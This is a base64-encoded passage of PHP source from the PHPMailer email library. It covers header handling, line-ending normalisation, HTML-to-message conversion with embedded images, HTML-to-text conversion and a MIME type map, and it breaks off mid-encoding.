CiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+bGFuZ3VhZ2VbJGtleV07CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgLy9SZXR1cm4gdGhlIGtleSBhcyBhIGZhbGxiYWNrCiAgICAgICAgICAgIHJldHVybiAka2V5OwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIENoZWNrIGlmIGFuIGVycm9yIG9jY3VycmVkLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gYm9vbGVhbiBUcnVlIGlmIGFuIGVycm9yIGRpZCBvY2N1ci4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGlzRXJyb3IoKQogICAgewogICAgICAgIHJldHVybiAoJHRoaXMtPmVycm9yX2NvdW50ID4gMCk7CiAgICB9CgogICAgLyoqCiAgICAgKiBFbnN1cmUgY29uc2lzdGVudCBsaW5lIGVuZGluZ3MgaW4gYSBzdHJpbmcuCiAgICAgKiBDaGFuZ2VzIGV2ZXJ5IGVuZCBvZiBsaW5lIGZyb20gQ1JMRiwgQ1Igb3IgTEYgdG8gJHRoaXMtPkxFLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJHN0ciBTdHJpbmcgdG8gZml4RU9MCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZml4RU9MKCRzdHIpCiAgICB7CiAgICAgICAgLy8gTm9ybWFsaXNlIHRvIFxuCiAgICAgICAgJG5zdHIgPSBzdHJfcmVwbGFjZShhcnJheSgiXHJcbiIsICJcciIpLCAiXG4iLCAkc3RyKTsKICAgICAgICAvLyBOb3cgY29udmVydCBMRSBhcyBuZWVkZWQKICAgICAgICBpZiAoJHRoaXMtPkxFICE9PSAiXG4iKSB7CiAgICAgICAgICAgICRuc3RyID0gc3RyX3JlcGxhY2UoIlxuIiwgJHRoaXMtPkxFLCAkbnN0cik7CiAgICAgICAgfQogICAgICAgIHJldHVybiAkbnN0cjsKICAgIH0KCiAgICAvKioKICAgICAqIEFkZCBhIGN1c3RvbSBoZWFkZXIuCiAgICAgKiAkbmFtZSB2YWx1ZSBjYW4gYmUgb3ZlcmxvYWRlZCB0byBjb250YWluCiAgICAgKiBib3RoIGhlYWRlciBuYW1lIGFuZCB2YWx1ZSAobmFtZTp2YWx1ZSkKICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lIEN1c3RvbSBoZWFkZXIgbmFtZQogICAgICogQHBhcmFtIHN0cmluZyAkdmFsdWUgSGVhZGVyIHZhbHVlCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZEN1c3RvbUhlYWRlcigkbmFtZSwgJHZhbHVlID0gbnVsbCkKICAgIHsKICAgICAgICBpZiAoJHZhbHVlID09PSBudWxsKSB7CiAgICAgICAgICAgIC8vIFZhbHVlIHBhc3NlZCBpbiBhcyBuYW1lOnZhbHVlCiAgICAgICAgICAgICR0aGlzLT5DdXN0b21IZWFkZXJbXSA9IGV4cGxvZGUoJzonLCAkbmFtZSwgMik7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHRoaXMtPkN1c3RvbUhlYWRlcltdID0gYXJyYXkoJG5hbWUsICR2YWx1ZSk7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogUmV0dXJucyBhbGwgY3VzdG9tIGhlYWRlcnMuCiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRDdXN0b21IZWFkZXJzKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPkN1c3RvbUhlYWRlcjsKICAgIH0KCiAgICAvKioKICAgICAqIENyZWF0ZSBhIG1lc3NhZ2UgYm9keSBmcm9tIGFuIEhUTUwgc3RyaW5nLgogICAgICogQXV0b21hdGljYWxseSBpbmxpbmVzIGltYWdlcyBhbmQgY3JlYXRlcyBhIHBsYWluLXRleHQgdmVyc2lvbiBieSBjb252ZXJ0aW5nIHRoZSBIVE1MLAogICAgICogb3ZlcndyaXRpbmcgYW55IGV4aXN0aW5nIHZhbHVlcyBpbiBCb2R5IGFuZCBBbHRCb2R5LgogICAgICogRG8gbm90IHNvdXJjZSAkbWVzc2FnZSBjb250ZW50IGZyb20gdXNlciBpbnB1dCEKICAgICAqICRiYXNlZGlyIGlzIHByZXBlbmRlZCB3aGVuIGhhbmRsaW5nIHJlbGF0aXZlIFVSTHMsIGUuZy4gPGltZyBzcmM9Ii9pbWFnZXMvYS5wbmciPiBhbmQgbXVzdCBub3QgYmUgZW1wdHkKICAgICAqIHdpbGwgbG9vayBmb3IgYW4gaW1hZ2UgZmlsZSBpbiAkYmFzZWRpci9pbWFnZXMvYS5wbmcgYW5kIGNvbnZlcnQgaXQgdG8gaW5saW5lLgogICAgICogSWYgeW91IGRvbid0IHByb3ZpZGUgYSAkYmFzZWRpciwgcmVsYXRpdmUgcGF0aHMgd2lsbCBiZSBsZWZ0IHVudG91Y2hlZCAoYW5kIHRodXMgcHJvYmFibHkgYnJlYWsgaW4gZW1haWwpCiAgICAgKiBJZiB5b3UgZG9uJ3Qgd2FudCB0byBhcHBseSB0aGVzZSB0cmFuc2Zvcm1hdGlvbnMgdG8geW91ciBIVE1MLCBqdXN0IHNldCBCb2R5IGFuZCBBbHRCb2R5IGRpcmVjdGx5LgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJG1lc3NhZ2UgSFRNTCBtZXNzYWdlIHN0cmluZwogICAgICogQHBhcmFtIHN0cmluZyAkYmFzZWRpciBBYnNvbHV0ZSBwYXRoIHRvIGEgYmFzZSBkaXJlY3RvcnkgdG8gcHJlcGVuZCB0byByZWxhdGl2ZSBwYXRocyB0byBpbWFnZXMKICAgICAqIEBwYXJhbSBib29sZWFufGNhbGxhYmxlICRhZHZhbmNlZCBXaGV0aGVyIHRvIHVzZSB0aGUgaW50ZXJuYWwgSFRNTCB0byB0ZXh0IGNvbnZlcnRlcgogICAgICogICAgb3IgeW91ciBvd24gY3VzdG9tIGNvbnZlcnRlciBAc2VlIFBIUE1haWxlcjo6aHRtbDJ0ZXh0KCkKICAgICAqIEByZXR1cm4gc3RyaW5nICRtZXNzYWdlIFRoZSB0cmFuc2Zvcm1lZCBtZXNzYWdlIEJvZHkKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIG1zZ0hUTUwoJG1lc3NhZ2UsICRiYXNlZGlyID0gJycsICRhZHZhbmNlZCA9IGZhbHNlKQogICAgewogICAgICAgIHByZWdfbWF0Y2hfYWxsKCcvKHNyY3xiYWNrZ3JvdW5kKT1bIlwnXSguKilbIlwnXS9VaScsICRtZXNzYWdlLCAkaW1hZ2VzKTsKICAgICAgICBpZiAoYXJyYXlfa2V5X2V4aXN0cygyLCAkaW1hZ2VzKSkgewogICAgICAgICAgICBpZiAoc3RybGVuKCRiYXNlZGlyKSA+IDEgJiYgc3Vic3RyKCRiYXNlZGlyLCAtMSkgIT0gJy8nKSB7CiAgICAgICAgICAgICAgICAvLyBFbnN1cmUgJGJhc2VkaXIgaGFzIGEgdHJhaWxpbmcgLwogICAgICAgICAgICAgICAgJGJhc2VkaXIgLj0gJy8nOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZvcmVhY2ggKCRpbWFnZXNbMl0gYXMgJGltZ2luZGV4ID0+ICR1cmwpIHsKICAgICAgICAgICAgICAgIC8vIENvbnZlcnQgZGF0YSBVUklzIGludG8gZW1iZWRkZWQgaW1hZ2VzCiAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnI15kYXRhOihpbWFnZVteOyxdKikoO2Jhc2U2NCk\/LCMnLCAkdXJsLCAkbWF0Y2gpKSB7CiAgICAgICAgICAgICAgICAgICAgJGRhdGEgPSBzdWJzdHIoJHVybCwgc3RycG9zKCR1cmwsICcsJykpOwogICAgICAgICAgICAgICAgICAgIGlmICgkbWF0Y2hbMl0pIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGRhdGEgPSBiYXNlNjRfZGVjb2RlKCRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHJhd3VybGRlY29kZSgkZGF0YSk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICRjaWQgPSBtZDUoJHVybCkgLiAnQHBocG1haWxlci4wJzsgLy8gUkZDMjM5MiBTIDIKICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPmFkZFN0cmluZ0VtYmVkZGVkSW1hZ2UoJGRhdGEsICRjaWQsICdlbWJlZCcgLiAkaW1naW5kZXgsICdiYXNlNjQnLCAkbWF0Y2hbMV0pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlID0gc3RyX3JlcGxhY2UoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaW1hZ2VzWzBdWyRpbWdpbmRleF0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaW1hZ2VzWzFdWyRpbWdpbmRleF0gLiAnPSJjaWQ6JyAuICRjaWQgLiAnIicsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZQogICAgICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICgKICAgICAgICAgICAgICAgICAgICAvLyBPbmx5IHByb2Nlc3MgcmVsYXRpdmUgVVJMcyBpZiBhIGJhc2VkaXIgaXMgcHJvdmlkZWQgKGkuZS4gbm8gYWJzb2x1dGUgbG9jYWwgcGF0aHMpCiAgICAgICAgICAgICAgICAgICAgIWVtcHR5KCRiYXNlZGlyKQogICAgICAgICAgICAgICAgICAgIC8vIElnbm9yZSBVUkxzIGNvbnRhaW5pbmcgcGFyZW50IGRpciB0cmF2ZXJzYWwgKC4uKQogICAgICAgICAgICAgICAgICAgICYmIChzdHJwb3MoJHVybCwgJy4uJykgPT09IGZhbHNlKQogICAgICAgICAgICAgICAgICAgIC8vIERvIG5vdCBjaGFuZ2UgdXJscyB0aGF0IGFyZSBhbHJlYWR5IGlubGluZSBpbWFnZXMKICAgICAgICAgICAgICAgICAgICAmJiBzdWJzdHIoJHVybCwgMCwgNCkgIT09ICdjaWQ6JwogICAgICAgICAgICAgICAgICAgIC8vIERvIG5vdCBjaGFuZ2UgYWJzb2x1dGUgVVJMcywgaW5jbHVkaW5nIGFub255bW91cyBwcm90b2NvbAogICAgICAgICAgICAgICAgICAgICYmICFwcmVnX21hdGNoKCcjXlthLXpdW2EtejAtOSsuLV0qOj8vLyNpJywgJHVybCkKICAgICAgICAgICAgICAgICkgewogICAgICAgICAgICAgICAgICAgICRmaWxlbmFtZSA9IGJhc2VuYW1lKCR1cmwpOwogICAgICAgICAgICAgICAgICAgICRkaXJlY3RvcnkgPSBkaXJuYW1lKCR1cmwpOwogICAgICAgICAgICAgICAgICAgIGlmICgkZGlyZWN0b3J5ID09ICcuJykgewogICAgICAgICAgICAgICAgICAgICAgICAkZGlyZWN0b3J5ID0gJyc7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICRjaWQgPSBtZDUoJHVybCkgLiAnQHBocG1haWxlci4wJzsgLy8gUkZDMjM5MiBTIDIKICAgICAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCRkaXJlY3RvcnkpID4gMSAmJiBzdWJzdHIoJGRpcmVjdG9yeSwgLTEpICE9ICcvJykgewogICAgICAgICAgICAgICAgICAgICAgICAkZGlyZWN0b3J5IC49ICcvJzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5hZGRFbWJlZGRlZEltYWdlKAogICAgICAgICAgICAgICAgICAgICAgICAkYmFzZWRpciAuICRkaXJlY3RvcnkgLiAkZmlsZW5hbWUsCiAgICAgICAgICAgICAgICAgICAgICAgICRjaWQsCiAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlbmFtZSwKICAgICAgICAgICAgICAgICAgICAgICAgJ2Jhc2U2NCcsCiAgICAgICAgICAgICAgICAgICAgICAgIHNlbGY6Ol9taW1lX3R5cGVzKChzdHJpbmcpc2VsZjo6bWJfcGF0aGluZm8oJGZpbGVuYW1lLCBQQVRISU5GT19FWFRFTlNJT04pKQogICAgICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgICAgICApIHsKICAgICAgICAgICAgICAgICAgICAgICAgJG1lc3NhZ2UgPSBwcmVnX3JlcGxhY2UoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnLycgLiAkaW1hZ2VzWzFdWyRpbWdpbmRleF0gLiAnPVsiXCddJyAuIHByZWdfcXVvdGUoJHVybCwgJy8nKSAuICdbIlwnXS9VaScsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaW1hZ2VzWzFdWyRpbWdpbmRleF0gLiAnPSJjaWQ6JyAuICRjaWQgLiAnIicsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZQogICAgICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAkdGhpcy0+aXNIVE1MKHRydWUpOwogICAgICAgIC8vIENvbnZlcnQgYWxsIG1lc3NhZ2UgYm9keSBsaW5lIGJyZWFrcyB0byBDUkxGLCBtYWtlcyBxdW90ZWQtcHJpbnRhYmxlIGVuY29kaW5nIHdvcmsgbXVjaCBiZXR0ZXIKICAgICAgICAkdGhpcy0+Qm9keSA9ICR0aGlzLT5ub3JtYWxpemVCcmVha3MoJG1lc3NhZ2UpOwogICAgICAgICR0aGlzLT5BbHRCb2R5ID0gJHRoaXMtPm5vcm1hbGl6ZUJyZWFrcygkdGhpcy0+aHRtbDJ0ZXh0KCRtZXNzYWdlLCAkYWR2YW5jZWQpKTsKICAgICAgICBpZiAoISR0aGlzLT5hbHRlcm5hdGl2ZUV4aXN0cygpKSB7CiAgICAgICAgICAgICR0aGlzLT5BbHRCb2R5ID0gJ1RvIHZpZXcgdGhpcyBlbWFpbCBtZXNzYWdlLCBvcGVuIGl0IGluIGEgcHJvZ3JhbSB0aGF0IHVuZGVyc3RhbmRzIEhUTUwhJyAuCiAgICAgICAgICAgICAgICBzZWxmOjpDUkxGIC4gc2VsZjo6Q1JMRjsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICR0aGlzLT5Cb2R5OwogICAgfQoKICAgIC8qKgogICAgICogQ29udmVydCBhbiBIVE1MIHN0cmluZyBpbnRvIHBsYWluIHRleHQuCiAgICAgKiBUaGlzIGlzIHVzZWQgYnkgbXNnSFRNTCgpLgogICAgICogTm90ZSAtIG9sZGVyIHZlcnNpb25zIG9mIHRoaXMgZnVuY3Rpb24gdXNlZCBhIGJ1bmRsZWQgYWR2YW5jZWQgY29udmVydGVyCiAgICAgKiB3aGljaCB3YXMgYmVlbiByZW1vdmVkIGZvciBsaWNlbnNlIHJlYXNvbnMgaW4gIzIzMi4KICAgICAqIEV4YW1wbGUgdXNhZ2U6CiAgICAgKiA8Y29kZT4KICAgICAqIC8vIFVzZSBkZWZhdWx0IGNvbnZlcnNpb24KICAgICAqICRwbGFpbiA9ICRtYWlsLT5odG1sMnRleHQoJGh0bWwpOwogICAgICogLy8gVXNlIHlvdXIgb3duIGN1c3RvbSBjb252ZXJ0ZXIKICAgICAqICRwbGFpbiA9ICRtYWlsLT5odG1sMnRleHQoJGh0bWwsIGZ1bmN0aW9uKCRodG1sKSB7CiAgICAgKiAgICAgJGNvbnZlcnRlciA9IG5ldyBNeUh0bWwydGV4dCgkaHRtbCk7CiAgICAgKiAgICAgcmV0dXJuICRjb252ZXJ0ZXItPmdldF90ZXh0KCk7CiAgICAgKiB9KTsKICAgICAqIDwvY29kZT4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGh0bWwgVGhlIEhUTUwgdGV4dCB0byBjb252ZXJ0CiAgICAgKiBAcGFyYW0gYm9vbGVhbnxjYWxsYWJsZSAkYWR2YW5jZWQgQW55IGJvb2xlYW4gdmFsdWUgdG8gdXNlIHRoZSBpbnRlcm5hbCBjb252ZXJ0ZXIsCiAgICAgKiAgIG9yIHByb3ZpZGUgeW91ciBvd24gY2FsbGFibGUgZm9yIGN1c3RvbSBjb252ZXJzaW9uLgogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGh0bWwydGV4dCgkaHRtbCwgJGFkdmFuY2VkID0gZmFsc2UpCiAgICB7CiAgICAgICAgaWYgKGlzX2NhbGxhYmxlKCRhZHZhbmNlZCkpIHsKICAgICAgICAgICAgcmV0dXJuIGNhbGxfdXNlcl9mdW5jKCRhZHZhbmNlZCwgJGh0bWwpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gaHRtbF9lbnRpdHlfZGVjb2RlKAogICAgICAgICAgICB0cmltKHN0cmlwX3RhZ3MocHJlZ19yZXBsYWNlKCcvPChoZWFkfHRpdGxlfHN0eWxlfHNjcmlwdClbXj5dKj4uKj88XC9cXDE+L3NpJywgJycsICRodG1sKSkpLAogICAgICAgICAgICBFTlRfUVVPVEVTLAogICAgICAgICAgICAkdGhpcy0+Q2hhclNldAogICAgICAgICk7CiAgICB9CgogICAgLyoqCiAgICAgKiBHZXQgdGhlIE1JTUUgdHlwZSBmb3IgYSBmaWxlIGV4dGVuc2lvbi4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGV4dCBGaWxlIGV4dGVuc2lvbgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gc3RyaW5nIE1JTUUgdHlwZSBvZiBmaWxlLgogICAgICogQHN0YXRpYwogICAgICovCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIF9taW1lX3R5cGVzKCRleHQgPSAnJykKICAgIHsKICAgICAgICAkbWltZXMgPSBhcnJheSgKICAgICAgICAgICAgJ3hsJyAgICA9PiAnYXBwbGljYXRpb24vZXhjZWwnLAogICAgICAgICAgICAnanMnICAgID0+ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JywKICAgICAgICAgICAgJ2hxeCcgICA9PiAnYXBwbGljYXRpb24vbWFjLWJpbmhleDQwJywKICAgICAgICAgICAgJ2NwdCcgICA9PiAnYXBwbGljYXRpb24vbWFjLWNvbXBhY3Rwcm8nLAogICAgICAgICAgICAnYmluJyAgID0+ICdhcHBsaWNhdGlvbi9tYWNiaW5hcnknLAogICAgICAgICAgICAnZG9jJyAgID0+ICdhcHBsaWNhdGlvbi9tc3dvcmQnLAogICAgICAgICAgICAnd29yZCcgID0+ICdhcHBsaWNhdGlvbi9tc3dvcmQnLAogICAgICAgICAgICAneGxzeCcgID0+ICdhcHBsaWNhdGlvbi92bmQub3BlbnhtbGZvcm1hdHMtb2ZmaWNlZG9jdW1lbnQuc3ByZWFkc2hlZXRtbC5zaGVldCcsCiAgICAgICAgICAgICd4bHR4JyAgPT4gJ2FwcGxpY2F0aW9uL3ZuZC5vcGVueG1sZm9ybWF0cy1vZmZpY2Vkb2N1bWVudC5zcHJlYWRzaGVldG1sLnRlbXBsYXRlJywKICAgICAgICAgICAgJ3BvdHgnICA9PiAnYXBwbGljYXRpb24vdm5kLm9wZW54bWxmb3JtYXRzLW9mZmljZWRvY3VtZW50LnByZXNlbnRhdGlvbm1sLnRlbXBsYXRlJywKICAgICAgICAgICAgJ3Bwc3gnICA9PiAnYXBwbGljYXRpb24vdm5kLm9wZW54bWxmb3JtYXRzLW9mZmljZWRvY3VtZW50LnByZXNlbnRhdGlvbm1sLnNsaWRlc2hvdycsCiAgICAgICAgICAgICdwcHR4JyAgPT4gJ2FwcGxpY2F0aW9uL3ZuZC5vcGVueG1sZm9ybWF0cy1vZmZpY2Vkb2N1bWVudC5wcmVzZW50YXRpb25tbC5wcmVzZW50YXRpb24nLAogICAgICAgICAgICAnc2xkeCcgID0+ICdhcHBsaWNhdGlvbi92bmQub3BlbnhtbGZvcm1hdHMtb2ZmaWNlZG9jdW1lbnQucHJlc2VudGF0aW9ubWwuc2xpZGUnLAogICAgICAgICAgICAnZG9jeCcgID0+ICdhcHBsaWNhdGlvbi92bmQub3BlbnhtbGZvcm1hdHMtb2ZmaWNlZG9jdW1lbnQud29yZHByb2Nlc3NpbmdtbC5kb2N1bWVudCcsCiAgICAgICAgICAgICdkb3R4JyAgPT4gJ2FwcGxpY2F0aW9uL3ZuZC5vcGVueG1sZm9ybWF0cy1vZmZpY2Vkb2N1bWVudC53b3JkcHJvY2Vzc2luZ21sLnRlbXBsYXRlJywKICAgICAgICAgICAgJ3hsYW0nICA9PiAnYXBwbGljYXRpb24vdm5kLm1zLWV4Y2VsLmFkZGluLm1hY3JvRW5hYmxlZC4xMicsCiAgICAgICAgICAgICd4bHNiJyAgPT4gJ2FwcGxpY2F0aW9uL3ZuZC5tcy1leGNlbC5zaGVldC5iaW5hcnkubWFjcm9FbmFibGVkLjEyJywKICAgICAgICAgICAgJ2NsYXNzJyA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ2RsbCcgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ2RtcycgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ2V4ZScgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ2xoYScgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ2x6aCcgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ3BzZCcgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ3NlYScgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ3NvJyAgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ29kYScgICA9PiAnYXBwbGljYXRpb24vb2RhJywKICAgICAgICAgICAgJ3BkZicgICA9PiAnYXBwbGljYXRpb24vcGRmJywKICAgICAgICAgICAgJ2FpJyAgICA9PiAnYXBwbGljYXRpb24vcG9zdHNjcmlwdCcsCiAgICAgICAgICAgICdlcHMnICAgPT4gJ2FwcGxpY2F0aW9uL3Bvc3RzY3JpcHQnLAogICAgICAgICAgICAncHMnICAgID0+ICdhcHBsaWNhdGlvbi9wb3N0c2NyaXB0JywKICAgICAgICAgICAgJ3NtaScgICA9PiAnYXBwbGljYXRpb24vc21pbCcsCiAgICAgICAgICAgICdzbWlsJyAgPT4gJ2FwcGxpY2F0aW9uL3NtaWwnLAogICAgICAgICAgICAnbWlmJyAgID0+ICdhcHBsaWNhdGlvbi92bmQubWlmJywKICAgICAgICAgICAgJ3hscycgICA9PiAnYXBwbGljYXRpb24vdm5kLm1zLWV4Y2VsJywKICAgICAgICAgICAgJ3BwdCcgICA9PiAnYXBwbGljYXRpb24vdm5kLm1zLXBvd2VycG9pbnQnLAogICAgICAgICAgICAnd2J4bWwnID0+ICdhcHBsaWNhdGlvbi92bmQud2FwLndieG1sJywKICAgICAgICAgICAgJ3dtbGMnICA9PiAnYXBwbGljYXRpb24vdm5kLndhcC53bWxjJywKICAgICAgICAgICAgJ2RjcicgICA9PiAnYXBwbGljYXRpb24veC1kaXJlY3RvcicsCiAgICAgICAgICAgICdkaXInICAgPT4gJ2FwcGxpY2F0aW9uL3gtZGlyZWN0b3InLAogICAgICAgICAgICAnZHhyJyAgID0+ICdhcHBsaWNhdGlvbi94LWRpcmVjdG9yJywKICAgICAgICAgICAgJ2R2aScgICA9PiAnYXBwbGljYXRpb24veC1kdmknLAogICAgICAgICAgICAnZ3RhcicgID0+ICdhcHBsaWNhdGlvbi94LWd0YXInLAogICAgICAgICAgICAncGhwMycgID0+ICdhcHBsaWNhdGlvbi94LWh0dHBkLXBocCcsCiAgICAgICAgICAgICdwaHA0JyAgPT4gJ2FwcGxpY2F0aW9uL3gtaHR0cGQtcGhwJywKICAgICAgICAgICAgJ3BocCcgICA9PiAnYXBwbGljYXRpb24veC1odHRwZC1waHAnLAogICAgICAgICAgICAncGh0bWwnID0+ICdhcHBsaWNhdGlvbi94LWh0dHBkLXBocCcsCiAgICAgICAgICAgICdwaHBzJyAgPT4gJ2FwcGxpY2F0aW9uL3gtaHR0cGQtcGhwLXNvdXJjZScsCiAgICAgICAgICAgICdzd2YnICAgPT4gJ2FwcGxpY2F0aW9uL3gtc2hvY2t3YXZlLWZsYXNoJywKICAgICAgICAgICAgJ3NpdCcgICA9PiAnYXBwbGljYXRpb24veC1zdHVmZml0JywKICAgICAgICAgICAgJ3RhcicgICA9PiAnYXBwbGljYXRpb24veC10YXInLAogICAgICAgICAgICAndGd6JyAgID0+ICdhcHBsaWNhdGlvbi94LXRhcicsCiAgICAgICAgICAgICd4aHQnICAgPT4gJ2FwcGxpY2F0aW9uL3hodG1sK3htbCcsCiAgICAgICAgICAgICd4aHRtbCcgPT4gJ2FwcGxpY2F0aW9uL3hodG1sK3htbCcsCiAgICAgICAgICAgICd6aXAnICAgPT4gJ2FwcGxpY2F0aW9uL3ppcCcsCiAgICAgICAgICAgICdtaWQnICAgPT4gJ2F1ZGlvL21pZGknLAogICAgICAgICAgICAnbWlkaScgID0+ICdhdWRpby9taWRpJywKICAgICAgICAgICAgJ21wMicgICA9PiAnYXVkaW8vbXBlZycsCiAgICAgICAgICAgICdtcDMnICAgPT4gJ2F1ZGlvL21wZWcnLAogICAgICAgICAgICAnbXBnYScgID0+ICdhdWRpby9tcGVnJywKICAgICAgICAgICAgJ2FpZicgICA9PiAnYXVkaW8veC1haWZmJywKICAgICAgICAgICAgJ2FpZmMnICA9PiAnYXVkaW8veC1haWZmJywKICAgICAgICAgICAgJ2FpZmYnICA9PiAnYXVkaW8veC1haWZmJywKICAgICAgICAgICAgJ3JhbScgICA9PiAnYXVkaW8veC1wbi1yZWFsYXVkaW8nLAogICAgICAgICAgICAncm0nICAgID0+ICdhdWRpby94LXBuLXJlYWxhdWRpbycsCiAgICAgICAgICAgICdycG0nICAgPT4gJ2F1ZGlvL3gtcG4tcmVhbGF1ZGlvLXBsdWdpbicsCiAgICAgICAgICAgICdyYScgICAgPT4gJ2F1ZGlvL3gtcmVhbGF1ZGlvJywKICAgICAgICAgICAgJ3dhdicgICA9PiAnYXVkaW8veC13YXYnLAogICAgICAgICAgICAnYm1wJyAgID0+ICdpbWFnZS9ibXAnLAogICAgICAgICAgICAnZ2lmJyAgID0+ICdpbWFnZS9naWYnLAogICAgICAgICAgICAnanBlZycgID0+ICdpbWFnZS9qcGVnJywKICAgICAgICAgICAgJ2pwZScgICA9PiAnaW1hZ2UvanBlZycsCiAgICAgICAgICAgICdqcGcnICAgPT4gJ2ltYWdlL2pwZWcnLAogICAgICAgICAgICAncG5nJyAgID0+ICdpbWFnZS9wbmcnLAogICAgICAgICAgICAndGlmZicgID0+ICdpbWFnZS90aWZmJywKICAgICAgICAgICAgJ3RpZicgICA9PiAnaW1hZ2UvdGlmZicsCiAgICAgICAgICAgICdlbWwnICAgPT4gJ21lc3NhZ2UvcmZjODIyJywKICAgICAgICAgICAgJ2NzcycgICA9PiAndGV4dC9jc3MnLAogICAgICAgICAgICAnaHRtbCcgID0+ICd0ZXh0L2h0bWwnLAogICAgICAgICAgICAnaHRtJyAgID0+ICd0ZXh0L2h0bWwnLAogICAgICAgICAgICAnc2h0bWwnID0+ICd0ZXh0L2h0bWwnLAogICAgICAgICAgICAnbG9nJyAgID0+ICd0ZXh0L3BsYWluJywKICAgICAgICAgICAgJ3RleHQnICA9PiAndGV4dC9wbGFpbicsCiAgICAgICAgICAgICd0eHQnICAgPT4gJ3RleHQvcGxhaW4nLAogICAgICAgICAgICAncnR4JyAgID0+ICd0ZXh0L3JpY2h0ZXh0JywKICAgICAgICAgICAgJ3J0ZicgICA9PiAndGV4dC9ydGYnLAogICAgICAgICAgICAndmNmJyAgID0+ICd0ZXh0L3ZjYXJkJywKICAgICAgICAgICAgJ3ZjYXJkJyA9PiAndGV4dC92Y2FyZCcsCiAgICAgICAgICAgICd4bWwnICAgPT4gJ3RleHQveG1sJywKICAgICAgICAgICAgJ3hzbCcgICA9PiAndGV4dC94bWwnLAogICAgICAgICAgICAnbXBlZycgID0+ICd2aWRlby9tcGVnJywKICAgICAgICAgICAgJ21wZScgICA9PiAndmlkZW8vbXBlZycsCiAgICAgICAgICAgICdtcGcnICAgPT4gJ3ZpZGVvL21wZWcnLAogICAgICAgICAgICAnbW92JyAgID0+ICd2aWRlby9xdWlja3RpbWUnLAogICAgICAgICAgICAncXQnICAgID0+ICd2aWRlby9xdWlja3RpbWUnLAogICAgICAgICAgICAncnYnICAgID0+ICd2aWRlby92bmQucm4tcmVhbHZpZGVvJywKICAgICAgICAgICAgJ2F2aScgICA9PiAndmlkZW8veC1tc3ZpZGVvJywKICAgICAgICAgICAgJ21vdmllJyA9PiAndmlkZW8veC1zZ2ktbW92aWUnCiAgICAgICAgKTsKICAgICAgICBpZiAoYXJyYXlfa2V5X2V4aXN0cyhzdHJ0b2xvd2VyKCRleHQpLCAkbWlt